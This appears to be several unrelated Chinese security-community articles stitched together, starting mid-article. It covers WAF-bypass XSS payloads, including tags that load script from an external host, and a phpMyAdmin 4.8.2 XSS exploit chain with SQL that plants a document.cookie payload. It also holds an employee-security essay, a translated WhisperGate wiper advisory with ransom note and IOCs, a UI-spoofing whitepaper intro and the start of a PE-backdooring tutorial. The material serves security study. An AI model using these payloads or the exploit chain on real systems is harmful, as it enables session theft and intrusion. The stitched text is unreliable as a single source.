这个规则有个`缺陷`，alert函数后面带有`()`括号就拦截，那么如果我不用括号呢?我们不妨来试试`反引号`。
<details/open/ontoggle="alert`1`">
成功绕过，注意这里包括字符串的要用双引号，单引号会拦截。
## 利用top
前几篇文章介绍了top属性的知识，不拿来用对不起自己啊，上文使用反引号虽然绕过了waf，但是引入了双引号，如果过滤了双引号，该如何解决呢?
top可以连接一个函数，那么直接连接alert就行了，如果你看过上篇文章，其他的`self parent frames content
window`都可以使用。
<body onpageshow=top.alert`1`>
这样就可以摆脱使用双引号，当然如果过滤了`.` 你可以考虑url编码。
<body onpageshow=top%2ealert`1`>
## 利用map
还记得map嘛?返回一个数组，传入一个函数，我们尝试一下能否绕过。
`[1].map(alert)`依赖map的特性，可以避免alert函数后面带有()括号，以此触发规则。
其他
<details open ontoggle=[1].find(alert)>
<details open ontoggle=[1].%65very(alert)>
<details open ontoggle=[1].u0066orEach(alert)>
## 执行字符串
在上文我说过，常见一些标签`<svg>`基本不考虑，那么现在你可以考虑了。为什么?听我细细( ~~乱吹~~ )详谈( ~~凑字数~~ )道来。
这个妥妥的拦截。
通过测试我们发现，alert后面不更()就不会拦截。
可是还是拦截了，推测是onload 事件的锅，那么换个事件 _onmouseover_ 就不拦截了。
问题来了，虽然 _onmouseover_ 事件可以通过滑动鼠标来触发，如何执行 _alert_
呢?如果使用拼接的话，必然带()，比较难绕过。思来想去发现可以尝试用反引号。
还是()的锅，不过setInterval不拦截的话，我们可以编码啊。
<svg onmouseover=setInterval`alx65rtx28/xss/x29```>
成功绕过。
执行字符串的可用`payload`：
<svg onmouseover=setTimeout`alx65rtx28/xss/x29```>
<svg onmouseover=Set.constructor`alx65rtx28/xss/x29```>
<svg onmouseover=u0063lear.constructor`alx65rtx28/xss/x29```>
## 引用外部js
用些生僻标签就可以，过多的花里胡哨反而难以绕过。
<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<textarea autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
### 参考致谢
* <http://www.vulnerability-lab.com/resources/documents/531.txt>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection>
* [https://www.t00ls.net/viewthread.php?tid=43475&highlight=%2B%E9%A3%8E%E5%9C%A8%E6%8C%87%E5%B0%96](https://www.t00ls.net/viewthread.php?tid=43475&highlight=%2B%E9%A3%8E%E5%9C%A8%E6%8C%87%E5%B0%96) | 社区文章 |
# 企业安全：员工行为难管控（一）
|
##### 译文声明
本文是翻译文章，文章来源：Seay互联网安全博客
原文地址：<http://www.cnseay.com/4434/>
译文仅供参考，具体内容表达以及含义原文为准。
近期想讲一些我看到企业安全最严重威胁和运营痛点，不出意外，这会是一个系列，里面讲到的所有观点和案例，都是通过实践而来，会基本覆盖我的核心安全观。每天只写1000字左右，没写完的痛点拆开写，文章后面附上一张我们给客户的安全意识墙面小贴士。
以往，不管是安全甲方还是乙方，安全工作都是围绕应用跟操作系统去做，比如WAF、IPS、SDL等，解决的都是系统跟应用的问题，所以应用跟操作系统的漏洞越来越少。而唯独只有我跳出来做一家公司解决人的问题，因为在近年我通过渗透测试服务发现，最大的问题不在于系统和应用，而在于人，一切问题都源自于人，人的行为和意识错误导致漏洞频出，今天就说说员工的行为难管控的问题。
员工行为难管控体现在如下几个方面，有没有发生过此类事件可自行对号：
**1、滥用云笔记及网盘（重灾区）**
将vpn密码、wifi密码、服务器密码、阿里云或运营后台密码…记录在个人云笔记、网盘、icloud，技术岗位的人最爱干这事，而且这个行为一旦犯了就会导致企业被直接入侵，什么waf、ips在这种情况下都是摆设。互联网企业的员工，基本上70%以上的员工都会用这些东西，特别是权限多的研发、运维岗位，在以往给客户实施渗透测试服务时，通过这种方式屡试不爽，越是大公司在这块威胁越大，为什么？因为员工多啊，总有X一样的队友。如果员工在公司办公，则能在路由上就能对这些云服务进行禁止访问，但是有几个员工不会把电脑带回家办公呢？这种情况下很难限制员工的行为。
来看看乌云上的案例。
a、极客学院某员工印象笔记
b、豌豆荚某员工印象笔记
**2、将公司代码存储在Github、oschina、Bitbucket等。**
这个行为是研发岗位常犯的错误，稍微大一点的互联网企业几乎无一幸免，可以去乌云网搜索一下“github”看看结果。这些泄露的代码有什么危害呢？代码里面包含的邮箱密码、数据库密码，一旦被搞渗透的人拿到，直接登陆企业邮箱，翻到VPN密码，连接数据库，轻轻松松就能把数据库给拖掉，这样的案例太多太多。
a、金立员工将代码存放到github。
**3、员工企业邮箱与外部个人账号密码一致。**
密码通用的习惯，据经验大概95%以上的人都这么干，在早之前曝光的网易5亿的会员数据泄露等此类事件，曝光的任何一份数据其实在N年前就已经在地下流传，只是有的人不多，民间有的人甚至将国内知名企业都入侵了个遍，手上偷回来的数据达大几十亿条。
试想，中国网民才多少，也就意味着，你只要一出生，别人手里就拿着你的信息，你只要一上网，别人就知道你密码是多少！永远都不要在这些人面前谈隐私两个字，人家只会在心里呵呵一下。
一个技术岗位的员工，像研发、运维、测试、安全，或者非技术岗位的客服、运营，员工入职的时候，交接文档有没有？交接文档里面有什么？服务器密码、后台地址密码、阿里云密码等等，不仅有，还注释的清清楚楚、明明白白。另外技术岗位基本都有VPN权限，邮件列表里面一搜“VPN”，密码妥妥的，就算没有，随便编个理由给网络负责人发个申请VPN的邮件，一会儿的时间妥妥的给你把VPN开通好。
今日结束，期待明日，敬请关注微信公众号【互联网安全与创业】。
企业安全墙面小贴士：
相关文章：
企业安全：员工行为难管控（二）：<http://bobao.360.cn/learning/detail/2917.html>
企业安全：员工行为难管控（三）：<http://bobao.360.cn/learning/detail/2918.html> | 社区文章 |
## 前言
最近在审计phpmyadmin的时候发现了一个XSS漏洞，后来发现在版本大于4.8.3以后该漏洞被修复了。看了下之前公布的CVE，有个CVE和此漏洞很相似但没有漏洞细节，于是乎便有了这篇文章。
## 准备
### 需要的环境
* phpmyadmin 4.8.2
* phpstorm
* phpstudy(xdebug)
### 配置xdebug
首先下载xdebug，将phpinfo信息复制到[在线向导](https://xdebug.org/wizard "在线向导")中，根据提示下载dll文件,
php.ini开启xdebug的配置如下。
xdebug.remote_enable=1 # 开启远程调试
xdebug.idekey='PHPSTORM' # sessionkey
xdebug.remote_port=9001 # 远程调试通信端口
zend_extension = D:\phpStudy\PHPTutorial\php\php-7.2.1-nts\ext\php_xdebug-2.9.4-7.2-vc15-nts.dll
## 漏洞细节
### 先决条件
在审计phpmyadmin时，我比较关注$GLOBALS全局变量，该变量存储了本次请求的信息、phpmyadmin基本设置信息和phpmyadmin配置文件信息等。先看看/libraries/classes/Server/Privileges.php::3977的以下代码。
foreach ($row as $key => $value) {
$GLOBALS[$key] = $value;
}
很明显，该处是$GLOBALS的赋值操作，而$row来自于对mysql.user表的查询结果，且$user_host_condition可控，
/libraries/classes/Server/Privileges.php::3966行
public static function getDataForChangeOrCopyUser()
{
$queries = null;
$password = null;
if (isset($_REQUEST['change_copy'])) {
$user_host_condition = ' WHERE `User` = '
. "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_username']) . "'"
. ' AND `Host` = '
. "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_hostname']) . "';";
$row = $GLOBALS['dbi']->fetchSingleRow(
'SELECT * FROM `mysql`.`user` ' . $user_host_condition
);
既然上述代码会将mysql.user中符合条件的行的列名和值写入$GLOBALS中,我们便可通过添加mysql.user的列来往$GLOBALS中写入任意键值。清楚思路后，我们看看哪里调用了Privileges.php的getDataForChangeOrCopyUser函数,发现在server_privileges.php::178中对该函数有调用。
list($queries, $password) = Privileges::getDataForChangeOrCopyUser();
这时我们来试试向$GLOBALS中写一个$GLOBALS['xz']='aliyun'。进入mysql库，执行以下2条sql语句向user表添加xz字段，并插入一条数据。
ALTER TABLE user ADD xz varchar(255);
INSERT INTO `user` (`Host`, `User`, `Password`, `Select_priv`, `Insert_priv`, `Update_priv`, `Delete_priv`, `Create_priv`, `Drop_priv`, `Reload_priv`, `Shutdown_priv`, `Process_priv`, `File_priv`, `Grant_priv`, `References_priv`, `Index_priv`, `Alter_priv`, `Show_db_priv`, `Super_priv`, `Create_tmp_table_priv`, `Lock_tables_priv`, `Execute_priv`, `Repl_slave_priv`, `Repl_client_priv`, `Create_view_priv`, `Show_view_priv`, `Create_routine_priv`, `Alter_routine_priv`, `Create_user_priv`, `Event_priv`, `Trigger_priv`, `Create_tablespace_priv`, `ssl_type`, `max_questions`, `max_updates`, `max_connections`, `max_user_connections`, `plugin`, `authentication_string`, `xz`) VALUES ('127.0.0.1', 'test', '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '0', '0', '0', '0', '', '', 'aliyun');
在/libraries/classes/Server/Privileges.php::3980下断点
$serverVersion = $GLOBALS['dbi']->getVersion();
然后构造[http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5](http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5)
参数请求，change_copy随便给个参数即可，mode必须大于4否则新添加的数据会被删除。
可以看到$GLOBALS['xz']='aliyun'已经成功赋值。
### 利用构造
有了可控的$GLOBALS变量后，我们需要寻找触发点。要在一次请求便触发漏洞，公共页面是首选目标。通过全局搜索$GLOBALS变量，发现在libraries/classes/Navigation/NavigationTree.php::1272的renderDbSelect函数中有使用未过滤的$GLOBALS变量。
$retval .= '<div id="pma_navigation_db_select">';
$retval .= '<form action="index.php">';
$retval .= Url::getHiddenFields($url_params);
$retval .= '<select name="db" class="hide" id="navi_db_select">'
. '<option value="" dir="' . $GLOBALS['text_dir'] . '">'
继续搜索调用renderDbSelect函数地方，发现libraries\classes\Navigation\Navigation.php::62的getDisplay函数。
public function getDisplay()
{
/* Init */
$retval = '';
$response = Response::getInstance();
if (! $response->isAjax()) {
$header = new NavigationHeader();
$retval = $header->getDisplay();
}
$tree = new NavigationTree();
if (! $response->isAjax()
|| ! empty($_REQUEST['full'])
|| ! empty($_REQUEST['reload'])
) {
if ($GLOBALS['cfg']['ShowDatabasesNavigationAsTree']) {
// provide database tree in navigation
$navRender = $tree->renderState();
} else {
// provide legacy pre-4.0 navigation
$navRender = $tree->renderDbSelect();
继续搜索实例化Naviagtion类并且调用了getDisplay函数的地方，发现libraries\classes\Header.php::440的getDisplay函数有调用。
public function getDisplay()
{
$retval = '';
...(省略)
if ($this->_menuEnabled && $GLOBALS['server'] > 0) {
$nav = new Navigation();
$retval .= $nav->getDisplay();
}
搜索实例化Header->GetDisplay的方法，发现\libraries\classes\Response.php::100的构造方法中实例化了Header类，而$this-_header又在_getDisplay中被调用。_getDisplay被_htmlResponse调用，_htmlResponse在response函数中被调用。
private function __construct()
{
if (! defined('TESTSUITE')) {
$buffer = OutputBuffering::getInstance();
$buffer->start();
register_shutdown_function(array($this, 'response'));
}
$this->_header = new Header();
$this->_HTML = '';
$this->_JSON = array();
\libraries\classes\Response.php::266行
private function _getDisplay()
{
// The header may contain nothing at all,
// if its content was already rendered
// and, in this case, the header will be
// in the content part of the request
$retval = $this->_header->getDisplay();
$retval .= $this->_HTML;
$retval .= $this->_footer->getDisplay();
return $retval;
}
\libraries\classes\Response.php::279行
private function _htmlResponse()
{
echo $this->_getDisplay();
}
\libraries\classes\Response.php::438行
public function response()
{
chdir($this->getCWD());
$buffer = OutputBuffering::getInstance();
if (empty($this->_HTML)) {
$this->_HTML = $buffer->getContents();
}
if ($this->isAjax()) {
$this->_ajaxResponse();
} else {
$this->_htmlResponse();
}
$buffer->flush();
exit;
}
这里注意__construct中的register_shutdown_function函数，看php
manual，意思是说当脚本运行结束或遇到exit后会执行该response函数，
**意思就是说只要哪里实例化了Response类，在程序运行结束后就会执行response函数**
。真好，回到server_privileges.php::34行，发现有实例化Response。
$response = Response::getInstance();
$header = $response->getHeader();
$scripts = $header->getScripts();
拥有以上调用链后，只需要控制$GLOBAS的键为text_dir,值为XSS
payload即可，进入mysql库，执行以下sql语句修改列名xz为text_dir，并修改数据为XSS Payload。
ALTER TABLE `user` CHANGE `xz` `text_dir` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL;
UPDATE `user` SET `text_dir` = '\"><img src=1 onerror=alert(document.cookie)><option dir=\"' WHERE `user`.`Host` = '127.0.0.1' AND `user`.`User` = 'test';
构造[http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5](http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5),
成功触发XSS
## 总结
利用全局变量覆盖的方法触发XSS的点还有很多，在phpmyadmin4.8.3后将$_REQUEST替换成了$_POST,在common.inc.php中对于POST请求会预先校验token值，若token值与SESSION中不匹配，后续无法获取$_POST值，导致新版本无法实现XSS。
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (Core::isValid($_POST['token'])) {
$token_provided = true;
$token_mismatch = ! @hash_equals($_SESSION[' PMA_token '], $_POST['token']);
}
phpmyadmin5.0.2(最新版修复方法)
if (isset($node->links['text'])) {
$title = isset($node->links['title']) ? '' : $node->links['title'];
$options .= '<option value="'
. htmlspecialchars($node->realName) . '"'
. ' title="' . htmlspecialchars($title) . '"'
. ' apath="' . $paths['aPath'] . '"'
. ' vpath="' . $paths['vPath'] . '"'
. ' pos="' . $this->pos . '"';
if ($node->realName == $selected) {
$options .= ' selected';
}
$options .= '>' . htmlspecialchars($node->realName);
$options .= '</option>';
}
虽然做了过滤，但由于全局变量覆盖问题依然存在，可以说最新版还是存在风险的。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/>**
微软威胁情报中心(MSTIC)已经确认了一个破坏性的恶意软件攻击活动，目标是在乌克兰的多个组织。这个恶意软件于2022年1月13日首次出现在乌克兰的受害者系统中。由于乌克兰及周边地区正在发生的地缘政治事件，微软鼓励各组织利用本帖中的信息积极防范任何恶意活动。
虽然我们的调查仍在继续，MSTIC 没有发现这个观察到的攻击活动（记录为为
DEV-0586）和其他已知的活动团体有显著关系。MSTIC认为，这种恶意软件看起来像勒索软件，但缺乏赎金回收机制，它的目的是破坏，它想要的是使目标设备无法使用，而不是获得赎金。
目前，基于微软的可见性，我们的调查小组已经确认了几十个受影响系统中的恶意软件，而且随着我们调查的继续，这个数字还会增加。这些系统包括多个政府、非营利组织和信息技术组织，都设在乌克兰。我们不知道这个攻击者的行动步骤目前处于什么阶段，也不知道在乌克兰或其他地区还有多少其他受害组织。然而，这些受影响的系统很可能不像其他组织报告的那样就是受影响范围的全部。
鉴于所观察到的入侵的规模，MSTIC无法评估目前发现的破坏性行动的意图，但确实认为这些行动对设在乌克兰境内或系统在乌克兰的任何政府机构、非营利组织或企业构成了更大的风险。我们强烈鼓励所有组织立即进行彻底的调查，并利用本帖提供的信息实施防御措施。当我们有更多的信息要分享时，MSTIC
将会更新这个博客。
正如所观察到的任何国家攻击者的活动一样，微软直接并主动地通知被攻击或泄密的客户，为他们提供用于调查需要的信息。MSTIC
还与全球安全圈成员和其他战略伙伴积极合作，分享能够通过多种渠道应对这一不断演变的威胁的信息。微软使用 DEV-####
标记作为一个临时名称给这一个未知的，新出现的，或正在发展的威胁活动集群，使 MSTIC
能够把它作为一个独特的信息集合来跟踪，直到我们真正搞清楚攻击活动的来源或者身份。一旦确定，DEV 就会进行修改。
## 观察到的攻击活动
1月13日，微软确认了来自乌克兰的入侵活动，似乎可能是主引导记录(MBR)雨刷活动。在我们的调查过程中，我们发现了一种独特的恶意软件能力，它被用于对乌克兰多个受害组织的入侵攻击。
### 第一步: 覆盖主引导记录显示一张伪造的勒索信
这些恶意软件存在于各种工作目录中，包括 _C:\PerfLogs_ , _C:\ProgramData_ , C:\ 和 _C:\temp_
，并且通常被命名为 stage1.exe。在观察到的入侵中，恶意软件通过 Impacket
执行，这是一种公开可用的能力，攻击者经常使用这种能力进行横向移动和执行。
这个两阶段的恶意软件会在受害者系统上用勒索信覆盖主引导记录。MBR
是硬盘驱动器的一部分，它告诉计算机如何加载其操作系统。这封勒索信包含了一个比特币钱包和Tox ID (Tox加密信息协议中使用的唯一账户标识符)
，这是以前没有被 MSTIC 观察到的:
你的硬盘已经被损坏了。
如果你想要恢复你组织的所有硬盘，你就要通过比特币钱包 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv 支付我们1万美元，然后通过tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65 与我们联系，我们之后会给你下一步的指示。
当相关设备关闭电源时，恶意软件就会执行。覆盖 MBR 对于网络犯罪勒索软件来说并不常用。实际上，勒索软件是一个诡计，恶意软件的目的是破坏 MBR
和它所针对的文件内容。这种行为与 MSTIC 观察到的网络勒索软件犯罪行为不符的原因有以下几点:
* 勒索软件的有效载荷通常是针对每个受害者定制的。在这次事件中，在多个受害者身上观察到相同的勒索载荷。
* 几乎所有勒索软件都对文件系统上的文件内容进行加密。在这次事件中，恶意软件会覆盖没有恢复机制的 MBR。
* 在现代违法的赎金票据中，明确的支付数额和加密货币钱包地址很少是具体的，但 DEV-0586中是具体的。在所有 DEV-0586入侵中都观察到了相同的比特币钱包地址，在分析时，唯一的活动是1月14日的一次小规模转账。
* 通信方法很少只有 Tox ID，一个与 Tox 加密消息协议一起使用的标识符。通常情况下，有一些网站拥有支持论坛或多种联系方式(包括电子邮件) ，让受害者能够轻松地成功地联系上对方。
* 大多数犯罪勒索信包括一个自定义的身份证，受害者被指示将他们的通信发送给攻击者。这是这个过程的一个重要部分，在这个过程中，自定义 ID 将勒索软件操作的后端映射到受害者特定的解密密钥。本例中的赎金通知却不涵盖自定义 ID。
微软将继续监控 DEV-0586的活动，并为我们的客户实施保护。目前侦测，先进侦测，和 IOCs 信息详细如下。
### 第二阶段: 文件腐蚀恶意软件
Stage2.exe 是一个恶意文件破坏程序的下载程序。在执行时，stage2.exe
下载下一阶段恶意软件,托管在一个不和谐频道，下载链接硬编码在下载器。下一阶段的恶意软件可以描述为一个恶意文件破坏者。一旦在内存中执行，破坏程序就会使用以下硬编码文件扩展名之一来定位系统中某个目录中的文件:
.3DM .3DS .7Z .ACCDB .AI .ARC .ASC .ASM .ASP .ASPX .BACKUP .BAK .BAT .BMP .BRD .BZ .BZ2 .CGM .CLASS .CMD .CONFIG .CPP .CRT .CS .CSR .CSV .DB .DBF .DCH .DER .DIF .DIP .DJVU.SH .DOC .DOCB .DOCM .DOCX .DOT .DOTM .DOTX .DWG .EDB .EML .FRM .GIF .GO .GZ .HDD .HTM .HTML .HWP .IBD .INC .INI .ISO .JAR .JAVA .JPEG .JPG .JS .JSP .KDBX .KEY .LAY .LAY6 .LDF .LOG .MAX .MDB .MDF .MML .MSG .MYD .MYI .NEF .NVRAM .ODB .ODG .ODP .ODS .ODT .OGG .ONETOC2 .OST .OTG .OTP .OTS .OTT .P12 .PAQ .PAS .PDF .PEM .PFX .PHP .PHP3 .PHP4 .PHP5 .PHP6 .PHP7 .PHPS .PHTML .PL .PNG .POT .POTM .POTX .PPAM .PPK .PPS .PPSM .PPSX .PPT .PPTM .PPTX .PS1 .PSD .PST .PY .RAR .RAW .RB .RTF .SAV .SCH .SHTML .SLDM .SLDX .SLK .SLN .SNT .SQ3 .SQL .SQLITE3 .SQLITEDB .STC .STD .STI .STW .SUO .SVG .SXC .SXD .SXI .SXM .SXW .TAR .TBK .TGZ .TIF .TIFF .TXT .UOP .UOT .VB .VBS .VCD .VDI .VHD .VMDK .VMEM .VMSD .VMSN .VMSS .VMTM .VMTX .VMX .VMXF .VSD .VSDX .VSWP .WAR .WB2 .WK1 .WKS .XHTML .XLC .XLM .XLS .XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .YML .ZIP
如果一个文件带有上面的一个扩展名，损坏程序会用固定数量的0xCC字节(总文件大小为1
MB)覆盖文件的内容。覆盖内容之后，析构函数用一个看似随机的四字节扩展名重命名每个文件。
## 建议客户采取的行动
MSTIC 和微软安全团队正在为这项活动创建和实施检测。迄今为止，微软已经通过 Microsoft Defender Antivirus 和
Microsoft Defender for Endpoint 实施了 WhisperGate (例如
DoS:Win32/WhisperGate.A!dha)保护来检测这个恶意软件，无论这些软件部署在何处的场所和云环境。我们正在继续调查，并将与受影响的客户、公开和私密部门的合作伙伴分享重要的最新信息。攻击者所使用的技术以及本文所述的技术可以通过采用下面提供的安全考虑因素得到缓解:
* 使用IoC来调查它们是否存在于您的环境中，并评估潜在的入侵。
* 检查远程访问基础设施的所有身份验证活动，特别关注那些配置了单因素身份验证的帐户，以确认真实性并调查任何异常活动。
* 启用多因素身份验证(MFA) ，以减少可能受到破坏的凭据，并确保对所有远程连接都执行 MFA。
* 在 Microsoft Defender for Endpoint 中启用受控文件夹访问(CFA) ，以防止 MBR/VBR 修改。
## IOCs
以下列表提供了我们调查期间观察到的 IOCs。我们鼓励客户在其环境中调查这些指标，并实施侦测和保护，与以前的相关活动核对，并防止其系统受到攻击。
**Indicator** | **Type** | **Description**
---|---|---
[a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92](https://www.virustotal.com/gui/file/a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92)
| SHA-256 | Hash of destructive malware _stage1.exe_
[dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78](https://www.virustotal.com/gui/file/dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78)
| SHA-256 | Hash of _stage2.exe_ 2\. exe
cmd.exe /Q /c start c:\stage1.exe 1> \127.0.0.1\ADMIN_ [ TIMESTAMP ]2 > & 1 |
Command line | Example Impacket command line showing the execution of the
destructive malware. The working directory has varied in observed intrusions.
注: 这些指标还有待完善。
* * * | 社区文章 |
作者：xisigr@腾讯玄武实验室
Browser UI
,是指浏览器用户界面。浏览器经过几十年的发展，对于用户界面并没有一个统一的规定标准，目前大多数现代浏览器的用户界面包括：前进和后退按钮、刷新和停止加载按钮、地址栏、状态栏、页面显示窗口、查看源代码窗口、标签等。另外可能还会有一些其他的用户界面，例如下载管理、页面查找、通知、系统选项管理、隐身窗口等等。我们可以把
Browser UI 认为是一个前端标签式的页面管理器或者 Web 的外壳，用户不必去考虑浏览器应用程序底层是如何处理数据的，所有的网络行为结果，均由
Browser UI 去展现给用户。
从安全的角度来说，浏览器 UI 上最容易发生的攻击就是用户界面欺骗，也就是 UI Spoof。通常 UI Spoof
被用来进行网络钓鱼攻击使用。网络钓鱼是社会工程学中用于欺骗用户，进而获取用户的敏感信息的一种攻击手段，通常使用伪造网站等方法，诱使用户从视觉感官上相信其是合法真实的，当用户在浏览器中进行操作后，敏感信息就有可能被攻击者获取到。
因此浏览器 UX 团队在开发 UI 过程中，在便捷用户浏览的同时，对 UI 安全模型上的设计、策略、逻辑也显得非常重要，安全的 UI
能帮助用户在上网时快速、准确的做出正确安全的决策。 而 UI 一旦出现了缺陷，攻击者就可能伪造浏览器 UI 中的某些关键信息，进而对用户实施网络钓鱼攻击。
本技术白皮书中将给大家介绍什么是 UI Spoof 漏洞，并对多个浏览器 UI 上的安全漏洞进行详细分析。
**Browser UI
Security技术白皮书【[PDF下载地址（10月17日更新）](https://paper.seebug.org/papers/Archive/Browser%20UI%20Security%20%E6%8A%80%E6%9C%AF%E7%99%BD%E7%9A%AE%E4%B9%A6%28update%29.pdf
"PDF下载地址")】**
* * * | 社区文章 |
# 【技术分享】手把手教你在PE文件中植入无法检测的后门（上）
##### 译文声明
本文是翻译文章，文章来源：haiderm.com
原文地址：<https://haiderm.com/fully-undetectable-backdooring-pe-files/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
****
[**【技术分享】手把手教你在PE文件中植入无法检测的后门（下）**](http://bobao.360.cn/learning/detail/4748.html)
**1\. 前言**
在渗透的过程中，我们常常希望能在不增加可执行文件大小、不改变其原有功能的前提下，使用自己的Shellcode注入到指定的可执行文件中，同时最好让这一过程完全无法被检测到。
我们举一个具体的场景作为例子。在经过侦查后，我们得知，有许多员工都在使用某个软件。于是，我们就可以采取社工方式，向员工发送一封带有“
**XX软件更新下载**
”链接的钓鱼邮件，实际上点击链接后将会下载在该软件中加入后门的一个更新。一旦有员工受骗下载了这个所谓的“更新程序”，我们就能借助后门进入到目标网络之中。
**本文将介绍如何在不增加大小、不改变功能的前提下，通过添加我们自己的反向TCP Shellcode来植入一个合法的x86 PE（Portable
Executable）文件后门。**
此外，我们还会介绍 **如何使后门PE完全不被发现的多种技术**
。其重点在于要使已经植入后门的文件完全无法被检测到。这里所说的“无法被检测”是针对于扫描时间静态分析而言的。除了上面这些，我们还会
**深入理解PE文件格式、x86汇编以及调试的要求** 。
我们采用相对简洁的语言，循序渐进地讲解了后门植入的方法，为了更好地理解，我建议各位读者应该按照文章顺序来阅读每一小节。
**2\. 我们自行加入的限制**
我们的最终目标是在程序中植入一个后门，并让它完全无法被反病毒软件检测到，同时植入后门的程序功能应该保持完好，不能出现中断或异常。
为了防止被杀软检测到，我们将使用NoDistribute。有很多方法可以使我们植入的后门无法被检测到，例如：使用Crypter编码整个程序并在程序中加入一个解码存根（Decoding
stub）、使用UPX压缩程序、使用Veil框架或者msfvenom进行编码等。然而，我们并不会使用上述的工具，我们希望能尽可能地保持后门植入的简洁和优雅，于是我们对自己做了如下的限制：
**不使用Msfvenom编码方案、Crypter、Veil框架或者其他诸如此类的工具；**
**文件的大小应保持不变，不加入额外的节区或解码存根，也不对程序进行压缩；**
**植入后门之后，程序的原始功能保持不变，不出现中断或异常。**
**3\. 总体思路**
**通过添加新的Section Header来注入Shellcode；**
**使用基于用户交互的Shellcode触发器及Codecave；**
**找到两处Codecave，用于插入定制的编码器和Shellcode触发器。**
**4\. 如何选择用于植入后门的PE文件**
除非是必须使用特定文件来植入后门，否则请牢记以下几点。下面的这些内容并不是强制要求，但强烈建议遵循这些内容，因为这将有助于降低杀毒软件的检测率，使我们植入的后门更加可靠。
第一， **可执行文件的大小最好小于10MB**
。在渗透过程中，更小的文件有助于更轻松地发送给目标用户。你可以将其用ZIP压缩后使用电子邮件发送，也可以采用其他的社会工程学方式。此外，如果可执行文件较小，出现问题后的调试也会变得更加方便。
第二， **在主流产品中植入后门**
，例如Utorrent、Putty、WinRAR、7zip等。我们不一定要利用常见的PE文件，但是请注意，相比于常见的PE文件来说，杀毒软件会更倾向于检测未知PE文件是否存在后门。但对于用户来说，他们对主流的产品有足够的信任，也就有更高概率会选择运行它们。
第三， **选择不受安全功能（例如ASLR和DEP）保护的PE文件**
。如果选择了受保护的PE文件，无疑就大大增加了我们植入后门的难度，但最后的效果却是与在普通PE文件中植入完全一样。
第四， **最好选择C/C++ Native文件** 。直接执行的代码会更方便我们的植入。
第五， **最好选择一个具有网络通信功能的PE文件**
。由于该文件本身就会进行通信，因此一些反病毒软件就将它的所有通信视为合法行为，同时用户也会将恶意通信认为是该应用使用过程中的一个正常行为。
在本文中，我们以7zip压缩软件（GUI版本）为例，尝试在其中植入后门。首先，我们检查该文件的空间布局随机化（ASLR）是否已经启用。
**4.1 空间布局随机化ASLR**
ASLR是一种针对
**缓冲区溢出的安全保护技术，会对程序每次加载到内存中的地址进行随机化，从而增加攻击者预测目的地址的难度，防止攻击者直接定位攻击代码位置。**
根据PowerShell脚本中显示的结果，我们发现其没有使用ASLR或DEP等安全机制：
正如我们所看到的，该文件没有太多的保护。接下来，让我们进一步查看该文件的其他信息。
**4.2 静态分析** **** **
**
该PE文件为32位，大小约5MB，并且该文件是在本地直接编译执行的。上述信息告诉我们，这个文件就是一个非常合适的目标，我们接下来就开始植入后门。
**5\. 植入后门**
在PE文件中植入后门有两种方法。在具体讲解这两种方法之前，我想和大家强调一下，我们为什么要在PE文件中植入后门。
简单来说，我们希望能有一个合法的Windows可执行文件（比如7zip）里面包含我们的Shellcode。所以，当7zip运行时，我们的Shellcode也随之一起执行，并且用户并不知情、反病毒软件也没有检测到任何恶意行为。该程序（7zip）也应该像以前一样正常工作。我们将要使用的Shellcode是一个Stageless的MSFvenom反向TCP
Shell。
如果你不了解Staged和Stageless载荷的区别，可以参考：
<https://www.offensive-security.com/metasploit-unleashed/payload-types/>
我们介绍的两种方法，其总体过程和目标都是相同的，但在具体实现上是有不同的方法。整个过程如下：
**1\. 在内存中找到合适的位置，来植入我们的Shell代码** **。** 具体可以通过借助Codecave和创建新的Section
Header这两种方式，我们在后文中都会进行演示。
**2\. 在程序开始执行时，从栈中复制操作码** **。**
**3.** 用我们自己的操作码来替代这些指令， **将应用程序的执行流劫持到在内存中我们所需要的位置。**
**4\. 将Shellcode添加到内存中该位置** ****，在这个例子中就是Stageless TCP反向连接Shell。
**5\. 设置寄存器，返回第二步中复制的栈，以允许程序进行正常的执行流** **。**
**6\. 添加新的Section Header方法**
此方法的大体思路是： **先在PE文件中创建一个新的Section
Header，随后在新创建的Section中注入我们的Shellcode，最后再将该部分的执行流指向它。**
我们可以通过LordPE等工具，来创建新的Section Header：
